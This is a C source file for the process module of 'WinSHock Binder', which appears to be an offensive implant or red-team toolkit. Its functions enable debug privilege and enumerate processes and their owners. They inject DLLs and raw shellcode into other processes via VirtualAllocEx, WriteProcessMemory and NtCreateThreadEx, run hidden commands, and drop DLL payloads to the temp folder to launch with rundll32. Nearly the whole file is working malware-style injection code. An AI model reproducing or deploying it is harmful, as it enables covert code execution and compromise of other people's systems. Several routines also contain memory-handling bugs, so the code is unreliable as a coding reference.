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wsbind_proc.c
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wsbind_proc.c
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// WinSHock Binder (WsBind) Process Stub
//
// Copyright (C) 2020 iDigitalFlame
//
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU Affero General Public License as published
// by the Free Software Foundation, either version 3 of the License, or
// any later version.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU Affero General Public License for more details.
//
// You should have received a copy of the GNU Affero General Public License
// along with this program. If not, see <https://www.gnu.org/licenses/>.
//
typedef struct PROCINFO {
int id;
char *name;
char *path;
char *owner;
int parentId;
} Process;
typedef struct THREADDATA {
unsigned char *data;
} ThreadData, *PThreadData;
BOOL wsDEBUG_LOADED = FALSE;
HANDLE wsp_thread_ex(HANDLE pHandle, LPVOID pAddress, LPVOID pSpace);
int wsp_set_debug()
{
HANDLE wsToken;
LUID wsTokenValue;
TOKEN_PRIVILEGES wsTokenP;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &wsToken)) return WSB_ERROR_PROC_DEBUG_NO_TOKEN;
if(!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &wsTokenValue)) return WSB_ERROR_PROC_DEBUG_CANT_LOOKUP;
wsTokenP.PrivilegeCount = 1;
wsTokenP.Privileges[0].Luid = wsTokenValue;
wsTokenP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if(!AdjustTokenPrivileges(wsToken, FALSE, &wsTokenP, sizeof(wsTokenP), NULL, NULL)) return WSB_ERROR_PROC_DEBUG_CANT_ADJUST;
CloseHandle(wsToken);
return WSB_SUCCESS;
}
int wsp_get_ppid(int wsProcessPID)
{
HANDLE wsHandle = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 wsProc = { 0 };
wsProc.dwSize = sizeof(PROCESSENTRY32);
if(Process32First(wsHandle, &wsProc))
do
{
if(wsProc.th32ProcessID == wsProcessPID) return wsProc.th32ParentProcessID;
} while (Process32Next(wsHandle, &wsProc));
return WSB_FAIL;
}
char* wsp_get_user(HANDLE wsProcess)
{
HANDLE wsTokenHandle;
OpenProcessToken(wsProcess, TOKEN_READ, &wsTokenHandle);
if(wsTokenHandle == NULL) return NULL;
PTOKEN_USER wsUser = NULL;
DWORD wsSize = 0, wsMAX = WSB_LSTRING;
if(!GetTokenInformation(wsTokenHandle, TokenUser, (LPVOID)wsUser, 0, &wsSize))
{
if(GetLastError() != ERROR_INSUFFICIENT_BUFFER) return NULL;
wsUser = (PTOKEN_USER)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, wsSize);
if(wsUser == NULL) return NULL;
}
if(!GetTokenInformation(wsTokenHandle, TokenUser, (LPVOID)wsUser, wsSize, &wsSize))
{
HeapFree(GetProcessHeap(), 0, (LPVOID)wsUser);
return NULL;
}
SID_NAME_USE wsSID;
char wsName[WSB_LSTRING], wsDomain[WSB_LSTRING];
if(!LookupAccountSid(NULL, wsUser->User.Sid, wsName, &wsMAX, wsDomain, &wsMAX, &wsSID))
{
if(GetLastError() == ERROR_NONE_MAPPED) return WSP_NO_USER;
return NULL;
}
char* wsUsername = calloc(1, 2 + strlen(wsName) + strlen(wsDomain));
strncat(wsUsername, wsDomain, strlen(wsDomain));
strncat(wsUsername, "\\", 1);
strncat(wsUsername, wsName, strlen(wsName));
strncat(wsUsername, "\0", 1);
if(wsUser != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)wsUser);
return wsUsername;
}
Process* wsp_processes(int **wsProcCount)
{
if(!wsDEBUG_LOADED)
{
wsp_set_debug();
wsDEBUG_LOADED = TRUE;
}
DWORD pList[4096], pRet, pCount;
if(!EnumProcesses(pList, sizeof(pList), &pRet))
return NULL;
pCount = pRet/sizeof(DWORD);
Process *pInfo = malloc(pCount * sizeof(Process));
HANDLE pHandle;
HMODULE pModule;
int pCounter;
*wsProcCount = (int*)&pCount;
DWORD count;
for(pCounter = 0; pCounter < pCount; pCounter++)
{
pInfo[pCounter].id = pList[pCounter];
pInfo[pCounter].name = calloc(WSB_LSTRING, 1);
pInfo[pCounter].path = calloc(WSB_LSTRING, 1);
pInfo[pCounter].parentId = wsp_get_ppid(pList[pCounter]);
pHandle = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pList[pCounter]);
if(pHandle != NULL)
{
pInfo[pCounter].owner = wsp_get_user(pHandle);
if(EnumProcessModules(pHandle, &pModule, sizeof(pModule), &count))
{
GetModuleBaseName(pHandle, pModule, pInfo[pCounter].name, WSB_LSTRING);
GetProcessImageFileName(pHandle, pInfo[pCounter].path, WSB_LSTRING);
}
else
{
strcat(pInfo[pCounter].name, WSB_NULLS);
strcat(pInfo[pCounter].path, WSB_NULLS);
}
if(pInfo[pCounter].owner == NULL)
strcat(pInfo[pCounter].owner, WSB_NULLS);
}
else
{
pInfo[pCounter].owner = calloc(1, 1);
strcat(pInfo[pCounter].name, WSB_NULLS);
strcat(pInfo[pCounter].path, WSB_NULLS);
strcat(pInfo[pCounter].owner, WSB_NULLS);
}
}
return pInfo;
}
int wsp_inject_dll(int wsInjectPID, char* wsDllPath)
{
HANDLE inProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, wsInjectPID);
if(inProcess == NULL) return WSB_ERROR_PROC_MEM_NO_HANDLE;
HMODULE inModule = GetModuleHandle("kernel32.dll");
LPVOID inAddress = (LPVOID)GetProcAddress(inModule, "LoadLibraryA");
if(inAddress == NULL) return WSB_ERROR_PROC_MEM_NO_ADDRESS;
LPVOID inMemory = (LPVOID)VirtualAllocEx(inProcess, NULL, strlen(wsDllPath), MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
if(inMemory == NULL) return WSB_ERROR_PROC_MEM_NO_ALLOC;
DWORD inCounter;
if(WriteProcessMemory(inProcess, inMemory, wsDllPath, strlen(wsDllPath), (SIZE_T*)&inCounter) == 0) return WSB_ERROR_PROC_MEM_NO_WRITE;
HANDLE inHandle = wsp_thread_ex(inProcess, inAddress, inMemory);
if(inHandle == NULL) return WSB_ERROR_PROC_MEM_NO_HANDLE;
CloseHandle(inProcess);
return WSB_SUCCESS;
}
int wsp_execv(char* wsCommand, char** wsBuffer, int wsHidden)
{
SECURITY_ATTRIBUTES pSecAttr;
HANDLE pOutRead, pOutWrite, pErrRead, pErrWrite;
PROCESS_INFORMATION pInfo;
STARTUPINFO pSInfo;
pSecAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
pSecAttr.bInheritHandle = TRUE;
pSecAttr.lpSecurityDescriptor = NULL;
if(!CreatePipe(&pErrRead, &pErrWrite, &pSecAttr, 0)) return WSB_ERROR_PROC_EXEV_NO_PIPE;
if(!SetHandleInformation(pErrRead, HANDLE_FLAG_INHERIT, 0)) return WSB_ERROR_PROC_EXEV_NO_SET_PIPE;
if(!CreatePipe(&pOutRead, &pOutWrite, &pSecAttr, 0)) return WSB_ERROR_PROC_EXEV_NO_PIPE;
if(!SetHandleInformation(pOutRead, HANDLE_FLAG_INHERIT, 0)) return WSB_ERROR_PROC_EXEV_NO_SET_PIPE;
memset(&pInfo, 0, sizeof(pInfo));
memset(&pSInfo, 0, sizeof(pSInfo));
pSInfo.cb = sizeof(STARTUPINFO);
pSInfo.hStdError = pErrWrite;
pSInfo.hStdOutput = pOutWrite;
pSInfo.dwFlags |= STARTF_USESTDHANDLES;
int pFlags = WSP_NON_HIDDEN_PROC;
if(wsHidden == 1) pFlags = WSP_HIDDEN_ATTR;
if(CreateProcess(NULL, wsCommand, NULL, NULL, TRUE, pFlags, NULL, NULL, &pSInfo, &pInfo) == 0) return WSB_ERROR_PROC_EXEV_CMD_NO_EXIST;
CloseHandle(pErrWrite);
CloseHandle(pOutWrite);
if(wsBuffer != NULL)
{
DWORD pStats = 0;
int pDone = 0, pPos = 0, pSize = 200;
char *pBuffer = calloc(200, 1), *pOutput = calloc(200, 1), *pOutBack;
for(;;)
{
pDone = ReadFile(pOutRead, pBuffer, 100, &pStats, NULL);
if(pDone == 0 || pStats == 0) break;
if(pPos + pStats >= pSize)
{
pOutBack = pOutput;
if((pOutput = realloc(pOutput, pSize + 200)) == NULL)
{
pOutput = pOutBack;
break;
}
else
pSize += 200;
}
strncat(pOutput, pBuffer, pStats);
pPos += pStats;
}
for(;;)
{
pDone = ReadFile(pErrRead, pBuffer, 100, &pStats, NULL);
if(pDone == 0 || pStats == 0) break;
if(pPos + pStats >= pSize)
{
pOutBack = pOutput;
if((pOutput = realloc(pOutput, pSize + 200)) == NULL)
{
pOutput = pOutBack;
break;
}
else
pSize += 200;
}
strncat(pOutput, pBuffer, pStats);
pPos += pStats;
}
free(pBuffer);
if((*wsBuffer = realloc(*wsBuffer, pPos + 1)) == NULL) return pInfo.dwProcessId;
if(*wsBuffer == NULL) return pInfo.dwProcessId;
wsu_clear_buffer(wsBuffer, pPos);
//int aa = 0;
//for(; aa < pPos; aa++) (*wsBuffer)[aa] = 0;
strncpy(*wsBuffer, pOutput, pPos - 1);
strncat(*wsBuffer, "\0", 1);
}
CloseHandle(pErrRead);
CloseHandle(pOutRead);
return pInfo.dwProcessId;
}
HANDLE wsp_thread_ex(HANDLE pHandle, LPVOID pAddress, LPVOID pSpace)
{
typedef DWORD (WINAPI * functypeNtCreateThreadEx)
(
PHANDLE ThreadHandle,
ACCESS_MASK DesiredAccess,
LPVOID ObjectAttributes,
HANDLE ProcessHandle,
LPTHREAD_START_ROUTINE lpStartAddress,
LPVOID lpParameter,
BOOL CreateSuspended,
DWORD dwStackSize,
DWORD Unknown1,
DWORD Unknown2,
LPVOID Unknown3
);
HANDLE pThread = NULL;
HMODULE pNtModule = GetModuleHandle("ntdll.dll");
if(pNtModule == NULL) return NULL;
functypeNtCreateThreadEx pFuncNTEx = (functypeNtCreateThreadEx)GetProcAddress(pNtModule, "NtCreateThreadEx");
if(!pFuncNTEx) return NULL;
// see if we can get rid of the warnings
//pFuncNTEx(&pThread, GENERIC_ALL, NULL, pHandle, (LPTHREAD_START_ROUTINE)pAddress, pSpace, FALSE, (DWORD)NULL, (DWORD)NULL, (DWORD)NULL, NULL);
pFuncNTEx(&pThread, GENERIC_ALL, NULL, pHandle, (LPTHREAD_START_ROUTINE)pAddress, pSpace, FALSE, (DWORD)0, (DWORD)0, (DWORD)0, NULL);
return pThread;
}
int wsp_run_dll(char* wsDllPath, char* wsDllEntry, char* wsArguments)
{
int wsArgSize = 10 + strlen(wsDllPath) + strlen(wsDllEntry);
if(wsArguments != NULL) wsArgSize += (1 + strlen(wsArguments));
char *wsDllCommand = calloc(wsArgSize, 1);
sprintf(wsDllCommand, "rundll32 %s,%s", wsDllPath, wsDllEntry);
if(wsArguments != NULL)
{
strncat(wsDllCommand, " ", 1);
strncat(wsDllCommand, wsArguments, strlen(wsArguments));
}
printf("Command> '%s'", wsDllCommand);
int wsRet = wsp_execv(wsDllCommand, NULL, 1);
free(wsDllCommand);
return wsRet;
}
int wsp_inject_scode(int wsInjectPID, int wsDataSize, unsigned char* wsSCode)
{
HANDLE inProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, wsInjectPID);
if(inProcess == NULL) return WSB_ERROR_PROC_MEM_NO_HANDLE;
int wsDataLen = wsDataSize;
if(wsDataLen <= 0) wsDataLen = strlen(wsSCode);
LPVOID inMemory = (LPVOID)VirtualAllocEx(inProcess, NULL, wsDataLen, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(inMemory == NULL) return WSB_ERROR_PROC_MEM_NO_ALLOC;
DWORD inCounter;
if(WriteProcessMemory(inProcess, inMemory, wsSCode, wsDataLen, (SIZE_T*)&inCounter) == 0) return WSB_ERROR_PROC_MEM_NO_WRITE;
HANDLE inHandle = wsp_thread_ex(inProcess, inMemory, NULL);
if(inHandle == NULL) return WSB_ERROR_PROC_MEM_NO_ALLOC;
CloseHandle(inProcess);
return WSB_SUCCESS;
}
char* wsp_create_dll(char* wsDllName, char* wsDllDir, int wsDataSize, unsigned char* wsDllData)
{
char* wsTempFullPath;
if(wsDllDir == NULL)
{
char* wsTempPath = calloc(WSB_LSTRING, 1);
if(GetTempPath(WSB_LSTRING, wsTempPath) == 0) return NULL;
wsTempFullPath = calloc(strlen(wsTempPath) + strlen(wsDllName), 1);
strncat(wsTempFullPath, wsTempPath, strlen(wsTempPath));
strncat(wsTempFullPath, wsDllName, strlen(wsDllName));
free(wsTempPath);
}
else
{
wsTempFullPath = calloc(strlen(wsDllDir) + strlen(wsDllName), 1);
strncat(wsTempFullPath, wsDllDir, strlen(wsDllDir));
strncat(wsTempFullPath, wsDllName, strlen(wsDllName));
}
FILE *wsDLLTemp = fopen(wsTempFullPath, "wb");
if(wsDLLTemp == NULL) return NULL;
int wsCount, wsDllSize = wsDataSize;
if(wsDataSize <= 0) wsDllSize = strlen(wsDllData);
for(wsCount = 0; wsCount < wsDllSize; wsCount++)
fprintf(wsDLLTemp, "%c", wsDllData[wsCount]);
fclose(wsDLLTemp);
free(wsDLLTemp);
return wsTempFullPath;
}
HANDLE wsp_create_thread(void* wsMethod, unsigned char *wsArguments)
{
//ThreadData wsData = (Thr);
// Work on this
}